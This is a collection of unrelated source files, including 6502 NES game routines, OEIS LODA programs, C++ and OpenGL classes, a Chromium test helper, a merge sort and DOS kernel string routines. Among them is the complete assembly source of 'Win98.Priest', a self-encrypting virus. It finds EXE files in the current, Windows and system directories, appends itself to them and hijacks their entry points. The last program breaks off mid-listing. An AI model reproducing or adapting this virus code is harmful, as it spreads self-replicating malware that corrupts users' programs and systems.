; this sub routine converts a number to hex values
; that are ready to be pritned to the screen
; inputs:
; a -> the number
; side effects:
; hex_buffer if overwritten
; a is changed
convert_hex:
pha ; save value of a
and #$0F ; first nibble
sta hex_buffer
pla
and #$F0 ; second nibble
lsr
lsr
lsr
lsr ; shift to get right value
sta hex_buffer+1
rts
; this sub routine
; makes an indirect jsr
; based on src_ptr
; inputs
; src_ptr -> the rotuine to jump to
; side effects:
; depends on indirect routine called
jsr_indirect:
jmp (src_ptr)
; this sub routine is a no-op update routine
update_none:
jmp update_done
; no critical update
update_crit_none:
jmp update_crit_done
; this is an empty sub routine
; useful for function pointers that
; require an input
empty_sub:
rts
; this sub routine hides objects
; at 0/0
; side effects:
; moves obejcts
hide_objs:
lda #$00
ldx #$00
@loop:
lda #$24
sta sprite_data+1, x
lda #$00
sta sprite_data, x
sta sprite_data+2, x
sta sprite_data+3, x
inx
inx
inx
inx
cpx #$00
bne @loop
rts
; this sub routine generates
; a simple 8-bit pseudo
; random number
; inputs:
; rand8 -> nonzero value
; side effects:
; a register and flags are used
; rand8 changes
random:
lda rand8
jsr random_reg
sta rand8
rts
; this sub routine generates
; an 8 bit random number
; inputs:
; a -> nonzero value
; returns:
; new random number in a
random_reg:
lsr
bcc @noeor
eor #$B4
@noeor:
rts
; 8 bit xorshift random number
; used only for seed
; slow but more random
; inputs:
; a -> seed
; returns:
; new random number in a
; side effects:
; uses y and a registers
random_xor:
pha ; push seed
and #$B8
ldx #$05
ldy #$00
@loop:
asl
bcc @bit_clear ; branch until bit = 0
iny ; count amount of bits shifted off
@bit_clear:
dex
bne @loop
tya ; feedback count
lsr ; bit 0 is in carry
pla ; get seed
rol ; rotate carry in
rts
; 16 bit rng routine LFSR (Galois)
; used only for seed
; pretty random
; inputs:
; seed
; returns:
; new values in seed and seed+1, 8 bit value is also returned in a
; side effects:
; uses y and a register
; Note: based on bbbradsmith / prng_6502
random_seed:
ldy #8
lda seed
@begin:
asl ; shift the register
rol seed+1
bcc @carry_clear
eor #$39 ; apply XOR feedback whenever a 1 bit is shifted out
@carry_clear:
dey
bne @begin
sta seed
cmp #0 ; reload flags
rts
; this sub routine reloads a room
; inputs:
; level_data_ptr_bac
; level_ptr_bac
; attr_ptr_bac
; palette_ptr_bac (src_ptr)
; seed_bac for random map
reload_room:
; reload the pointers
lda level_data_ptr_bac
sta level_data_ptr
lda level_data_ptr_bac+1
sta level_data_ptr+1
lda attr_ptr_bac
sta attr_ptr
lda attr_ptr_bac+1
sta attr_ptr+1
lda palette_ptr_bac
sta src_ptr
lda palette_ptr_bac+1
sta src_ptr+1
lda seed_bac
sta seed
lda seed_bac+1
sta seed+1
ldx #$00
stx $2001 ; disable rendering
; load an empty map first
lda #<empty_map
sta level_data_ptr
lda #>empty_map
sta level_data_ptr+1
lda #<level_data
sta level_ptr
lda #>level_data
sta level_ptr+1
; disable NMI until load is complete
set_nmi_flag
jsr decompress_level
ldx #$00 ; nt 0
jsr load_level
; load actual map
lda level_data_ptr_bac
sta level_data_ptr
lda level_data_ptr_bac+1
sta level_data_ptr+1
lda #<level_data
sta level_ptr
lda #>level_data
sta level_ptr+1
; load sram values before generating map
lda load_flags
and #%00100000
beq @no_load
jsr load_save
@no_load:
; if level select is #$00 we generate a map, otherwise decompress
lda load_flags
and #%10000000
beq @decompress
lda level ; test if shop is supposed to be loaded
and #SHOP_MASK ; every F levels
cmp #SHOP_MASK
bne @no_shop
; clear sram attributes
jsr clear_sram_attr
lda #<shop_gfx
sta level_data_ptr
lda #>shop_gfx
sta level_data_ptr+1
jmp @decompress
@no_shop:
jsr generate_map
jmp @map_in_buffer
@decompress:
jsr decompress_level
@map_in_buffer:
jsr load_attr
; copy palette
lda #<level_palette
sta dest_ptr
lda #>level_palette
sta dest_ptr+1
ldy #PALETTE_SIZE
jsr memcpy
lda #$00
sta nametable
vblank_wait
; lda #$00
; sta $2005
; sta $2005 ; no scrolling
jsr init_game
; test if partial load is needed now
; if so we have start location and can go ahead
lda load_flags
and #%01000000 ; flag for partial load
beq @no_part_load
lda player_x
sta get_tile_x
lda player_y
sta get_tile_y
ldx #$00 ; nametable 0
jsr load_level_part
jmp @done
@no_part_load:
ldx #$00 ; nametable 0
jsr load_level
@done:
vblank_wait
rts
; this sub routine should be called at the start of the
; program
; first it checks the magic number sequence
; if it is not present it sets up default values
; for all sram functionality
init_sram:
ldx #$00
@magic_check:
lda magic_bytes, x
cmp magic, x
bne @init
inx
cpx #16
bne @magic_check
rts
@init:
; if check was not OK start
; init
; first set up magic values correctly
ldx #$00
@magic_init:
lda magic_bytes, x
sta magic, x
inx
cpx #16
bne @magic_init
; lastly make the custom code
; an rts
lda #$60 ; rts opcode
sta save_sub_1
sta save_sub_2
sta save_sub_3
; then set up a completely empty
; tileset for all maps
ldx #00
@empty_map_init:
lda empty_map, x
sta save_1, x
sta save_2, x
sta save_3, x
inx
cpx #$14
bne @empty_map_init
rts
; 16 random values
magic_bytes:
.db $0e ,$94 ,$3f ,$76 ,$9c ,$dd ,$f0 ,$ba ,$5c ,$ba ,$72 ,$36 ,$f8 ,$2d ,$d3, $46
; this sub routine calculates the
; absolute distance between 2 numbers
; inputs:
; a -> x1
; x -> x2
; returns:
; absolute distance between x1 and x2
; side effects:
; uses temp for subtraction
calc_distance:
stx temp
sec
sbc temp
; if overflow flag is set we got a negative result
bpl @no_negative
; to convert, invert all bits and add 1
eor #%11111111
clc
adc #$01
@no_negative:
rts
; this sub routine is called when
; a brk occurs
; or any other IRQ is called
; since IRQ should never be activated
; it prints out all register values
; and the stack
; abandon all hope ye who calls this
crash_handler:
pha ; store A value for output later on
txa
pha ; store X value
tya
pha ; store Y value
vblank_wait
; disable sprites and rendering
; disable NMI
lda #$00
sta $2000
sta $2001
bit $2002 ; reset latch
lda #$20
sta $2006
lda #$00
sta $2006 ; write address
lda #$22 ; 'Y'
sta $2007
pla ; y value
; this macro outputs
; prints value in A to the screen
.macro output_value_crash
pha
lsr
lsr
lsr
lsr
sta $2007
pla
and #$0F
sta $2007
.endm
; y value
output_value_crash
lda #$24 ; space
sta $2007
lda #$21 ; 'X'
sta $2007
pla ; x value
output_value_crash
lda #$24 ; space
sta $2007
lda #$0A ; 'A'
sta $2007
pla
output_value_crash
lda #$24 ; space
sta $2007
lda #$1C ; 'S'
sta $2007
tsx
txa
output_value_crash
; output error message
lda #$20
sta $2006
lda #$80
sta $2006
ldy #$00
@message_loop:
lda @error_str, y
beq @message_done
sta $2007
iny
bne @message_loop
@message_done:
; loop all of stack
lda #$20
sta $2006
lda #$C0
sta $2006
ldy #$00
ldx #$24
@stack_loop:
lda $0100, y
output_value_crash
; stx $2007
iny
bne @stack_loop
@crash_loop:
vblank_wait
; enable rendering
lda #%00000000 ; enable NMI, sprites from Pattern Table 0
sta $2000
lda #%00001111 ; enable sprites, bg, grayscale mode
sta $2001
lda #$00
sta $2005
sta $2005
jmp @crash_loop
; strings for crash handler
@error_str:
.db "OH NO THE GAME CRASHED", $00
@error_str_end:
|
; A267318: Continued fraction expansion of e^(1/5).
; 1,4,1,1,14,1,1,24,1,1,34,1,1,44,1,1,54,1,1,64,1,1,74,1,1,84,1,1,94,1,1,104,1,1,114,1,1,124,1,1,134,1,1,144,1,1,154,1,1,164,1,1,174,1,1,184,1,1,194,1,1,204,1,1,214,1,1,224,1,1,234,1,1,244,1,1,254,1,1,264,1,1
mul $0,10
lpb $0
sub $0,1
mov $1,$0
mod $0,3
lpe
div $1,3
add $1,1
mov $0,$1
|
#ifndef NDNPH_CLI_KEYCHAIN_HPP
#define NDNPH_CLI_KEYCHAIN_HPP
#include "../keychain/ec.hpp"
#include "../keychain/keychain.hpp"
#include "io.hpp"
namespace ndnph {
namespace cli {
/** @brief Open KeyChain according to `NDNPH_KEYCHAIN` environ. */
inline KeyChain&
openKeyChain()
{
static KeyChain keyChain;
static bool ready = false;
if (!ready) {
const char* env = getenv("NDNPH_KEYCHAIN");
if (env == nullptr) {
fprintf(stderr, "ndnph::cli::openKeyChain missing NDNPH_KEYCHAIN environment variable\n");
exit(1);
}
ready = keyChain.open(env);
if (!ready) {
fprintf(stderr, "ndnph::cli::openKeyChain error\n");
exit(1);
}
}
return keyChain;
}
/** @brief Check KeyChain object ID has the proper format. */
inline std::string
checkKeyChainId(const std::string& id)
{
bool ok = std::all_of(id.begin(), id.end(), [](char ch) {
return static_cast<bool>(std::islower(ch)) || static_cast<bool>(std::isdigit(ch));
});
if (id.empty() || !ok) {
fprintf(stderr,
"ndnph::cli::checkKeyChainId(%s) id must be non-empty and only contain digits and "
"lower-case letters\n",
id.data());
exit(1);
}
return id;
}
/** @brief Load a key from the KeyChain. */
inline void
loadKey(Region& region, const std::string& id, EcPrivateKey& pvt, EcPublicKey& pub)
{
if (!ec::load(openKeyChain(), id.data(), region, pvt, pub)) {
fprintf(stderr, "ndnph::cli::loadKey(%s) not found in KeyChain\n", id.data());
exit(1);
}
}
/** @brief Load a certificate from the KeyChain. */
inline Data
loadCertificate(Region& region, const std::string& id)
{
auto cert = openKeyChain().certs.get(id.data(), region);
if (!cert) {
fprintf(stderr, "ndnph::cli::loadCertificate(%s) not found in KeyChain\n", id.data());
exit(1);
}
return cert;
}
/** @brief Load a certificate in binary format from input stream. */
inline Data
inputCertificate(Region& region, EcPublicKey* pub = nullptr, std::istream& is = std::cin)
{
auto data = region.create<Data>();
if (!data || !input(region, data, is) ||
!(pub == nullptr ? certificate::isCertificate(data) : pub->import(region, data))) {
fprintf(stderr, "ndnph::cli::inputCertificate parse cert error\n");
exit(1);
}
return data;
}
} // namespace cli
} // namespace ndnph
#endif // NDNPH_CLI_KEYCHAIN_HPP
|
#include "volcano.h"
#include "main.h"
Volcano::Volcano(float x, float y, float z, color_t color) {
this->position = glm::vec3(x, y, z);
this->rotation = 0;
GLfloat mountain[] = {
70.7/2, 0/2, 70.7/2,
0/2, 50/2, 0/2,
-70.7/2, 0/2, 70.7/2,
-70.7/2, 0/2, 70.7/2,
0/2, 50/2, 0/2,
-70.7/2, 0/2, -70.7/2,
-70.7/2, 0/2, -70.7/2,
0/2, 50/2, 0/2,
-70.7/2, 0/2, -70.7/2,
-70.7/2, 0/2, -70.7/2,
0/2, 50/2, 0/2,
70.7/2, 0/2, -70.7/2,
70.7/2, 0/2, -70.7/2,
0/2, 50/2, 0/2,
70.7/2, 0/2, 70.7/2,
};
GLfloat lava[] = {
70.7/2, 1/2, 15/2,
0/2, 50/2, 0/2,
70.7/2, 1/2, -15/2,
-70.7/2, 1/2,-15/2,
0/2, 50/2, 0/2,
-70.7/2, 1/2, 15/2,
15/2, 1/2, 70.7/2,
0/2, 50/2, 0/2,
-15/2, 1/2, 70.7/2,
-15/2, 1/2, -70.7/2,
0/2, 50/2, 0/2,
15/2, 1/2, -70.7/2,
};
GLfloat smoke[5000];
float phi = M_PI / 3;
for (int i = 0; i < 9 * 6; i += 9)
{
float u = i / 9;
smoke[i] = 10*float(cos(u * phi));
smoke[i + 1] = 100/2;
smoke[i + 2] = 10*float(sin(u * phi));
smoke[i + 3] = 0;
smoke[i + 4] = 50/2;
smoke[i + 5] = 0;
smoke[i + 6] = 10*float(cos((u + 1) * phi));
smoke[i + 7] = 100/2;
smoke[i + 8] = 10*float(sin((u + 1) * phi));
}
this->mnt = create3DObject(GL_TRIANGLES, 15, mountain, {88, 93, 99}, GL_FILL);
this->lava = create3DObject(GL_TRIANGLES, 12, lava, {255, 0, 0}, GL_FILL);
this->smk = create3DObject(GL_TRIANGLES, 18, smoke, {139, 131, 120}, GL_FILL);
}
void Volcano::draw(glm::mat4 VP) {
Matrices.model = glm::mat4(1.0f);
glm::mat4 translate = glm::translate (this->position); // glTranslatef
glm::mat4 rotate = glm::rotate((float) (this->rotation * M_PI / 180.0f), glm::vec3(0, 1, 0));
rotate = rotate * glm::translate(glm::vec3(0, -0.6, 0));
Matrices.model *= (translate * rotate);
glm::mat4 MVP = VP * Matrices.model;
glUniformMatrix4fv(Matrices.MatrixID, 1, GL_FALSE, &MVP[0][0]);
draw3DObject(this->smk);
draw3DObject(this->mnt);
draw3DObject(this->lava);
}
void Volcano::set_position(float x, float y) {
this->position = glm::vec3(x, y, 0);
}
void Volcano::tick() {
// this->rotation -= speed;
}
bounding_box_t Volcano::bounding_box() {
float x = this->position.x, y = this->position.y;
bounding_box_t bbox = { x, y, this->width, this->height };
return bbox;
}
|
; Win98.Priest
.386
.model flat
extrn ExitProcess:PROC
KER32 equ 0bff70000h
Limit equ 0000h
addname equ 0004h
addfun equ 0008h
addord equ 000Ch
create equ 0010h
close equ 0014h
rfile equ 0018h
ffind equ 001ch
nfind equ 0020h
white equ 0024h
fpoin equ 0028h
getw equ 002ch
gets equ 0030h
getc equ 0034h
srchc equ 0038h
getp equ 003ch
shand equ 0040h
fhand equ 0044h
reads equ 0048h
OLDEDI equ 004ch
chkif equ 0050h
chkdi equ 0054h
WICHI equ 0058h
exew equ 005ch
DATAA equ 0200h
heads equ 0300h
.code
Start_Virus:
Call Delta_Offset
Delta_Offset:
Pop Ebp
Sub Ebp,Offset Delta_Offset
pushad
KEY_CODE:
mov EAX,00h
LEA eSI,[VIRUS_BODY+EBP]
mov ecx,End_Virus - VIRUS_BODY -4
KEYCODE:
XOR DWORD ptr [esi],eax
add esi,1
xchg al,ah
ror eax,1
loop KEYCODE
VIRUS_BODY:
popad
push eax
mov eax,[OLDIP+ebp]
add eax,400000h
push eax
call Scan_DATA
mov EDI,ESI
add ESI,6
cmp word ptr [esi],0
je R_IP
xor ecx,ecx
mov cx,[esi]
add ESI,0f2h
add ESI,24h
add edi,0f8h
CHk_se:
mov eax,[esi]
and eax,0c0000000h
cmp eax,0c0000000h
jne Next_Se
mov eax,[edi+8h]
mov ebx,511
add eax,ebx
xor edx,edx
inc ebx
div ebx
mul ebx
sub eax,[edi+10h]
cmp eax,700h+(W_ENC_END - W_ENC)
jge OK_SE
Next_Se:
add esi,28h
add edi,28h
loop CHk_se
JMP R_IP
OK_SE:
mov esi,[edi+0ch]
add esi,[edi+10h]
add esi,400000h
mov ebp,ESI
xor eax,eax
mov esi,KER32+3ch
lodsw
add eax,KER32
cmp dword ptr [eax],00004550h
jne R_IP
mov esi,[eax+78h]
add esi,24
add esi,KER32
lodsd
add eax,KER32
mov [ebp+Limit],eax
lodsd
add eax,KER32
mov [ebp+addfun],eax
lodsd
add eax,KER32
mov [ebp+addname],eax
lodsd
add eax,KER32
mov [ebp+addord],eax
pop eax
pop ebx
push ebx
push eax
mov esi,ebx
add esi,offset gp - Start_Virus
mov ebx,esi
mov edi,[ebp+addname]
mov edi,[edi]
add edi,KER32
xor ecx,ecx
call FIND_SRC
shl ecx,1
mov esi,[ebp+addord]
add esi,ecx
xor eax,eax
mov ax,word ptr [esi]
shl eax,2
mov esi,[ebp+addfun]
add esi,eax
mov edi,[esi]
add edi,KER32
mov [getp+ebp],edi
mov ebx,create
pop eax
pop edi
push edi
push eax
add edi,offset cf - Start_Virus
FIND_FUN:
push edi
push KER32
call [getp+ebp]
mov [ebx+ebp],eax
add ebx,4
cmp ebx,getp
je OK_FIND_FILE
mov al,0
repne scasb
jmp FIND_FUN
OK_FIND_FILE:
lea eax,[ebp+exew]
push eax
push 100h - 58h
call [getc+ebp]
or eax,eax
je CHG_DIR
OK_EXE:
lea esi,[ebp+DATAA]
push esi
lea edi,[ebp+exew]
push edi
scan_dir:
cmp byte ptr [edi],00h
je ok_make_exe
add edi,1
jmp scan_dir
ok_make_exe:
mov al,''
stosb
mov dword ptr [ebp+WICHI],edi
mov ax,'.*'
stosw
mov eax,'EXE'
stosd
call [ebp+ffind]
mov [ebp+shand],eax
cmp eax,-1
je R_IP
mov eax,0
open_file:
cmp byte ptr [ebp+DATAA+2ch+eax],'v'
je NEXT_FILE
cmp byte ptr [ebp+DATAA+2ch+eax],'n'
je NEXT_FILE
cmp byte ptr [ebp+DATAA+2ch+eax],'V'
je NEXT_FILE
cmp byte ptr [ebp+DATAA+2ch+eax],'N'
je NEXT_FILE
cmp byte ptr [ebp+DATAA+2ch+eax],0
je open_file_start
add eax,1
jmp open_file
open_file_start:
mov edi,dword ptr [ebp+WICHI]
mov ecx,20
lea esi,[ebp+DATAA+2ch]
repz movsb
push 0
push 0
push 3
push 0
push 0
push 0c0000000h
lea eax,[ebp+exew]
push eax
call [ebp+create]
mov [ebp+fhand],eax
cmp eax,-1
je File_Close
mov ecx,400h
lea edx,[ebp+heads]
lea eax,[ebp+reads]
push 0
push eax
push ecx
push edx
push dword ptr [ebp+fhand]
call [ebp+rfile]
cmp eax,0
je File_Close
cmp word ptr [ebp+heads],'ZM'
jne File_Close
xor eax,eax
lea esi,[ebp+heads+3ch]
lodsw
add eax,ebp
add eax,heads
mov esi,eax
lea ebx,[ebp+heads+400h]
cmp eax,ebx
jg File_Close
cmp word ptr [eax],'EP'
jne File_Close
cmp dword ptr [eax+34h],400000h
jne File_Close
cmp word ptr [ebp+heads+12h],'^^'
je File_Close
cmp word ptr [esi+6],6
jg File_Close
xor ecx,ecx
mov edi,esi
mov cx,word ptr [esi+6]
add edi,0f8h
CHK_DATA:
add edi,24h
mov eax,dword ptr [edi]
and eax,0c0000000h
cmp eax,0c0000000h
je OK_INFECT
add edi,4h
loop CHK_DATA
jmp File_Close
OK_INFECT:
mov eax,[ebp+DATAA+20h]
call F_SEEK
mov edi,[esi+28h]
pop ebx
pop eax
push eax
push ebx
add eax,offset OLDIP - Start_Virus
mov dword ptr [eax],edi
mov eax,offset End_Virus - Start_Virus
mov ecx,[esi+3ch]
add eax,ecx
xor edx,edx
div ecx
mul ecx
add dword ptr [esi+50h],eax
mov ecx,eax
pop eax
pop ebx
mov edx,ebx
push ebx
push eax
push ecx
push ecx
mov ecx,End_Virus - Start_Virus
pushad
push edx
add edx,offset W_ENC - Start_Virus
mov esi,edx
lea ebp,[ebp+heads]
add ebp,400h
mov edi,ebp
push edi
mov cx,offset W_ENC_END - W_ENC
repz movsb
pop edi
jmp edi
r_body:
popad
pop ecx
sub ecx,offset End_Virus - Start_Virus
mov edx,400000h
call fwrite
mov eax,[ebp+DATAA+20h]
mov ecx,[esi+3ch]
mov edx,0
div ecx
push edx
push eax
mov edi,esi
mov ax,word ptr [esi+6]
sub eax,1
mov ecx,28h
mul ecx
add eax,0f8h
add edi,eax
xor edx,edx
mov eax,[edi+14h]
mov ecx,[esi+3ch]
div ecx
pop edx
sub edx,eax
push edx
mov eax,[edi+10h]
sub eax,1
add eax,ecx
xor edx,edx
div ecx
mov ebx,eax
pop eax
sub eax,ebx
mul ecx
pop edx
add eax,edx
add dword ptr [esi+50h],eax
mov ebx,[edi+0ch]
add ebx,[edi+10h]
add ebx,eax
mov [esi+28h],ebx
pop ebx
add ebx,eax
add [edi+8h],ebx
add [edi+10h],ebx
mov [edi+24h],0c0000040h
mov word ptr [ebp+heads+12h],'^^'
mov eax,0
call F_SEEK
lea edx,[ebp+heads]
mov ecx,400h
call fwrite
inc dword ptr chkif[ebp]
File_Close:
push dword ptr [ebp+fhand]
call [ebp+close]
cmp dword ptr chkif[ebp],6
je CHG_DIR
NEXT_FILE:
lea eax,[ebp+DATAA]
push eax
push dword ptr [ebp+shand]
call [ebp+nfind]
cmp eax,0
je CHG_DIR
jmp open_file
CHG_DIR:
push dword ptr [shand+ebp]
call [ebp+srchc]
cmp dword ptr chkif[ebp],6
je R_IP
cmp dword ptr chkdi[ebp],1
jg CHG_DIR_2
add dword ptr chkdi[ebp],2
push 100h-58h
lea eax,[ebp+exew]
push eax
call [ebp+getw]
or eax,eax
je CHG_DIR_2
jmp OK_EXE
CHG_DIR_2:
cmp dword ptr chkdi[ebp],2
jg R_IP
add dword ptr chkdi[ebp],1
push 100h-58h
lea eax,[ebp+exew]
push eax
call [ebp+gets]
or eax,eax
je R_IP
jmp OK_EXE
Scan_DATA:
mov esi,400000h
mov cx,600h
Scan_PE:
cmp dword ptr [esi],00004550h
je R_CO
inc esi
loop Scan_PE
R_IP:
pop eax
pop ebx
jmp eax
R_CO:
ret
FIND_SRC:
mov esi,ebx
X_M:
cmpsb
jne FIND_SRC_2
cmp byte ptr [edi],0
je R_CO
jmp X_M
FIND_SRC_2:
inc cx
cmp cx,[ebp+Limit]
jge NOT_SRC
add dword ptr [ebp+addname],4
mov edi,[ebp+addname]
mov edi,[edi]
add edi,KER32
jmp FIND_SRC
NOT_SRC:
pop esi
jmp R_IP
F_SEEK:
push 0
push 0
push eax
push dword ptr [ebp+fhand]
call [ebp+fpoin]
ret
W_ENC:
in al,40h
xchg al,ah
in al,40h
add eax,edi
add edi,offset ENCRY_E - W_ENC +1
mov dword ptr [edi],eax
pop edx
add edx,offset KEY_CODE - Start_Virus +1
mov dword ptr [edx],eax
popad
pushad
mov esi,edx
add esi,offset VIRUS_BODY - Start_Virus
mov ecx,offset End_Virus - VIRUS_BODY -4
call ENCRY_E
popad
pushad
call fwrite
popad
pushad
mov esi,edx
add esi,offset VIRUS_BODY - Start_Virus
mov ecx,offset End_Virus - VIRUS_BODY -4
call ENCRY_E
popad
pushad
add edx,offset r_body - Start_Virus
jmp edx
ENCRY_E:
mov eax,00h
ENCRY:
xor dword ptr [esi],eax
xchg al,ah
ror eax,1
inc esi
loop ENCRY
ret
fwrite:
push 0
lea eax,[ebp+reads]
push eax
push ecx
push edx
push dword ptr [ebp+fhand]
call [ebp+white]
ret
W_ENC_END:
cf db 'CreateFileA',0
cl db '_lclose',0
rf db 'ReadFile',0
ff db 'FindFirstFileA',0
fn db 'FindNextFileA',0
wf db 'WriteFile',0
sf db 'SetFilePointer',0
gw db 'GetWindowsDirectoryA',0
gs db 'GetSystemDirectoryA',0
gc db 'GetCurrentDirectoryA',0
fc db 'FindClose',0
gp db 'GetProcAddress',0
vn db 'Win98.Priest'
db 'SVS/COREA/MOV'
OLDIP dd F_END - 400000h
End_Virus:
F_END:
push 0
call ExitProcess
end Start_Virus
|
// Copyright (c) 2012 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#include "components/drive/chromeos/drive_test_util.h"
#include "components/drive/drive.pb.h"
#include "components/drive/drive_pref_names.h"
#include "components/prefs/pref_registry_simple.h"
#include "components/prefs/testing_pref_service.h"
namespace drive {
namespace test_util {
void RegisterDrivePrefs(PrefRegistrySimple* pref_registry) {
pref_registry->RegisterBooleanPref(
prefs::kDisableDrive,
false);
pref_registry->RegisterBooleanPref(
prefs::kDisableDriveOverCellular,
true);
pref_registry->RegisterBooleanPref(
prefs::kDisableDriveHostedFiles,
false);
}
FakeNetworkChangeNotifier::FakeNetworkChangeNotifier()
: type_(CONNECTION_WIFI) {
}
void FakeNetworkChangeNotifier::SetConnectionType(ConnectionType type) {
type_ = type;
NotifyObserversOfConnectionTypeChange();
}
net::NetworkChangeNotifier::ConnectionType
FakeNetworkChangeNotifier::GetCurrentConnectionType() const {
return type_;
}
} // namespace test_util
} // namespace drive
|
#include <iostream>
void Merge(int *A, int first, int last, int *buff) {
int middle = (first + last) / 2;
int leftStart = first;
int rightStart = middle + 1;
for (int j = first; j <= last; j++)
if ((leftStart <= middle) && ((rightStart > last) || (A[leftStart] < A[rightStart]))) {
buff[j] = A[leftStart];
leftStart++;
} else {
buff[j] = A[rightStart];
rightStart++;
}
for (int j = first; j <= last; j++) A[j] = buff[j];
}
void MergeSort(int *A, int first, int last, int *buff)
{
if (first<last)
{
MergeSort(A, first, (first+last)/2, buff);
MergeSort(A, (first+last)/2+1, last, buff);
Merge(A, first, last, buff);
}
}
void PrintArray (int *A, int length){
for (int k = 0; k<length; k++ )
printf("%d ", A[k]);
}
int main() {
int buff[6] = {0};
int A[6] = {5, 2, 1, 4, 6, 3};
MergeSort(A, 0, 5, buff);
PrintArray(A, 6);
}
|
;SYS-DOS Kernel Library
;=========================================================== SUBROUTINES
;-------------------- ROUTINE new
new:
call linefeed
call linefeed
mov al, '$'
call lettergen
ret
;-------------------- ROUTINE lettergen
lettergen:
mov ah, 0x0e
int 10h
ret
;-------------------- ROUTINE line feed
linefeed:
mov cl, dh
mov ah, 2
int 0x10
mov al, 0x0a
call lettergen
add cl, 1
mov dh, cl
mov dl, 0
mov ah, 2
int 0x10
ret
;=========================================================== STRINGS
;-------------------- STRING4
string4:
mov al, 'v'
call lettergen
mov al, 'e'
call lettergen
mov al, 'r'
call lettergen
mov al, ' '
call lettergen
mov al, '1'
call lettergen
mov al, '.'
call lettergen
mov al, '1'
call lettergen
mov al, '.'
call lettergen
mov al, '3'
call lettergen
mov al, ' '
call lettergen
mov al, 'a'
call lettergen
mov al, 'l'
call lettergen
mov al, 'p'
call lettergen
mov al, 'h'
call lettergen
mov al, 'a'
call lettergen
ret
;-------------------- STRING5 "Cursor set to flat"
string5:
mov al, 'C'
call lettergen
mov al, 'u'
call lettergen
mov al, 'r'
call lettergen
mov al, 's'
call lettergen
mov al, 'o'
call lettergen
mov al, 'r'
call lettergen
mov al, ' '
call lettergen
mov al, 's'
call lettergen
mov al, 'e'
call lettergen
mov al, 't'
call lettergen
mov al, ' '
call lettergen
mov al, 't'
call lettergen
mov al, 'o'
call lettergen
mov al, ' '
call lettergen
mov al, 'f'
call lettergen
mov al, 'l'
call lettergen
mov al, 'a'
call lettergen
mov al, 't'
call lettergen
ret
;-------------------- STRING6 "Cursor set to box"
string6:
mov al, 'C'
call lettergen
mov al, 'u'
call lettergen
mov al, 'r'
call lettergen
mov al, 's'
call lettergen
mov al, 'o'
call lettergen
mov al, 'r'
call lettergen
mov al, ' '
call lettergen
mov al, 's'
call lettergen
mov al, 'e'
call lettergen
mov al, 't'
call lettergen
mov al, ' '
call lettergen
mov al, 't'
call lettergen
mov al, 'o'
call lettergen
mov al, ' '
call lettergen
mov al, 'b'
call lettergen
mov al, 'o'
call lettergen
mov al, 'x'
call lettergen
ret
;-------------------- STRING7
string7:
mov al, 'C'
call lettergen
mov al, ':'
call lettergen
mov al, ' '
call lettergen
mov al, 'c'
call lettergen
mov al, 'l'
call lettergen
mov al, 'e'
call lettergen
mov al, 'a'
call lettergen
mov al, 'r'
call lettergen
mov al, ' '
call lettergen
mov al, 's'
call lettergen
mov al, 'c'
call lettergen
mov al, 'r'
call lettergen
mov al, 'e'
call lettergen
mov al, 'e'
call lettergen
mov al, 'n'
call lettergen
call linefeed
mov al, 'B'
call lettergen
mov al, ':'
call lettergen
mov al, ' '
call lettergen
mov al, 'b'
call lettergen
mov al, 'o'
call lettergen
mov al, 'x'
call lettergen
mov al, ' '
call lettergen
mov al, 'c'
call lettergen
mov al, 'u'
call lettergen
mov al, 'r'
call lettergen
mov al, 's'
call lettergen
mov al, 'o'
call lettergen
mov al, 'r'
call lettergen
call linefeed
mov al, 'D'
call lettergen
mov al, ':'
call lettergen
mov al, ' '
call lettergen
mov al, '#'
call lettergen
mov al, ' '
call lettergen
mov al, 'o'
call lettergen
mov al, 'f'
call lettergen
mov al, ' '
call lettergen
mov al, 'f'
call lettergen
mov al, 'l'
call lettergen
mov al, 'o'
call lettergen
mov al, 'p'
call lettergen
mov al, 'p'
call lettergen
mov al, 'y'
call lettergen
mov al, ' '
call lettergen
mov al, 'd'
call lettergen
mov al, 'i'
call lettergen
mov al, 's'
call lettergen
mov al, 'k'
call lettergen
mov al, ' '
call lettergen
mov al, 'd'
call lettergen
mov al, 'r'
call lettergen
mov al, 'i'
call lettergen
mov al, 'v'
call lettergen
mov al, 'e'
call lettergen
mov al, 's'
call lettergen
call linefeed
mov al, 'F'
call lettergen
mov al, ':'
call lettergen
mov al, ' '
call lettergen
mov al, 'f'
call lettergen
mov al, 'l'
call lettergen
mov al, 'a'
call lettergen
mov al, 't'
call lettergen
mov al, ''
call lettergen
mov al, 'c'
call lettergen
mov al, 'u'
call lettergen
mov al, 'r'
call lettergen
mov al, 's'
call lettergen
mov al, 'o'
call lettergen
mov al, 'r'
call lettergen
call linefeed
mov al, 'V'
call lettergen
mov al, ':'
call lettergen
mov al, ' '
call lettergen
mov al, 'v'
call lettergen
mov al, 'e'
call lettergen
mov al, 'r'
call lettergen
mov al, 's'
call lettergen
mov al, 'i'
call lettergen
mov al, 'o'
call lettergen
mov al, 'n'
call lettergen
ret
;-------------------- STRING8 "# of floppy disk drives: "
string8:
mov al, '#'
call lettergen
mov al, ' '
call lettergen
mov al, 'o'
call lettergen
mov al, 'f'
call lettergen
mov al, ' '
call lettergen
mov al, 'f'
call lettergen
mov al, 'l'
call lettergen
mov al, 'o'
call lettergen
mov al, 'p'
call lettergen
mov al, 'p'
call lettergen
mov al, 'y'
call lettergen
mov al, ' '
call lettergen
mov al, 'd'
call lettergen
mov al, 'i'
call lettergen
mov al, 's'
call lettergen
mov al, 'k'
call lettergen
mov al, ' '
call lettergen
mov al, 'd'
call lettergen
mov al, 'r'
call lettergen
mov al, 'i'
call lettergen
mov al, 'v'
call lettergen
mov al, 'e'
call lettergen
mov al, 's'
call lettergen
mov al, ':'
call lettergen
mov al, ' '
call lettergen
ret |
; A279322: Number of n X 1 0..2 arrays with no element equal to a strict majority of its king-move neighbors, with the exception of exactly one element, and with new values introduced in order 0 sequentially upwards.
; 0,0,2,4,14,40,120,352,1032,3008,8736,25280,72928,209792,601984,1723392,4923520,14039040,39961088,113562624,322244096,913131520,2584180736,7304519680,20624050176,58170228736,163908034560,461421658112,1297828601856,3647369216000,10242471460864,28741570396160,80596013449216,225854805245952,632516771971072,1770332698705920,4952108299059200
mov $22,$0
mov $24,$0
lpb $24
clr $0,22
mov $0,$22
sub $24,1
sub $0,$24
mov $19,$0
mov $21,$0
lpb $21
mov $0,$19
sub $21,1
sub $0,$21
mov $15,$0
mov $17,2
lpb $17
mov $0,$15
sub $17,1
add $0,$17
sub $0,1
mov $11,$0
mov $13,2
